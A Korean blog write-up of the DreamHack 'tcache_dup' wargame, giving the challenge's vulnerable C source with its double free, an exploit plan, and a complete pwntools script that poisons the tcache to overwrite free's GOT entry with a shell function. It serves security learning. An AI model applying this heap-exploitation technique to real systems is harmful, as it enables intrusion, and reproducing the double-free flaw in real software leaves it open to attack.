본문 바로가기

DreamHack: System Hacking/F Stage 12

tcache_dup

소스코드 및 보호 기법

Partial RELRO가 적용돼있으니 GOT overwrite, hook overwrite 등등을 고려해볼 수 있겠다. while(1)을 통해 반복문이 무한 반복되므로 bof를 이용한 공격은 현실적으로 어렵다.

 

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

코드 분석

(1) create()에서는 Size를 입력받아 Size 크기의 청크를 할당해주고 청크의 주소를 ptr[idx]에 저장한다.

그 후, 사용자에게서 size 크기만큼의 값을 입력받아 해당 청크에 입력값을 저장한다.

그리고, main에서 cnt가 1 증가된다. cnt가 10을 초과하게 되면 더이상 청크를 할당받을 수 없다.

 

(2) delete()에서는 idx를 입력받아 ctr[idx]에 해당하는 청크를 free 시킨다.

 

위의 코드에서 free()를 수행한 후 포인터를 초기화 시켜주지 않기 때문에 Double Free Bug 취약점이 존재한다.

 

exploit 설계

-소스코드에 청크의 데이터를 출력해주는 부분이 존재하지 않는다. 따라서 libc base를 leak하긴 어려워 hook overwrite 공격은 수행하기 어려울 것 같다.

-따라서 나는 got overwrite 공격을 통해 free_got를 get_shell()로 overwrite시켜서, shell을 획득할 것이다.

-또한, 해제된 청크의 값을 조작할 수 있는 코드가 보이지 않는다. 이러면 key값을 변경할 수 없어 double free를 시키지 못 하지 않을까 하겠지만, 우리는 glibc 버전이 2.27이라는 것에 주목해야한다.

-glibc 2.27은 패치되지 않았다면, tcache의 double free bug를 검증하지 않는다. 따라서 key를 조작할 필요 없이 그냥 double free를 시키면 된다.

 

1. double free bug를 통해 tcache에 duplicated free list를 생성한다.

2. free_GOT에 chunk를 할당한 후 free_GOT가 get_shell()을 가리키게 한다.

3. free()를 실행하면 free_got가 get_shell()을 가리키므로, get_shell()이 실행된다.

 

 

exploit(tcache_dup.py)

from pwn import *
p = remote('host3.dreamhack.games', 11016)
e = ELF('./tcache_dup')
lib = ('./libc-2.27.so')

get_shell = e.symbols['get_shell']

def create(size, data):
    p.sendlineafter('> ', str(1).encode())
    p.sendlineafter('Size: ', str(size).encode())
    p.sendafter('Data: ', data)

def delete(idx):
    p.sendlineafter('> ', str(2).encode())
    p.sendlineafter('idx: ', str(idx).encode())

create(0x30, b'A'*8) # cnt = 0
delete(0)
delete(0)
delete(0) # tcache count == 3
#tcache[0x40]: chunk A -> chunk A -> chunk A

free_got = e.got['free']

create(0x30, p64(free_got)) # cnt = 1
#tcache[0x40]: chunk A -> free_got -> free -> ...

create(0x30, b'B'*8) # cnt = 2
#tcache[0x40]: free_got -> free -> ...

create(0x30, p64(get_shell)) # chunk allocated at free_got / cnt = 3
delete(2)

p.interactive()

 

**주의할 점: tcache count에 유의해야 한다. tcache count == 0이라면 chunk를 할당할 때 tcache를 참조하지 않기 때문이다.

'DreamHack: System Hacking > F Stage 12' 카테고리의 다른 글

tcache_dup2  (0) 2023.08.02
Tcache Poisoning  (0) 2023.08.02
tcache의 구조 및 함수들의 동작 & Double Free Bug 개요  (0) 2023.08.02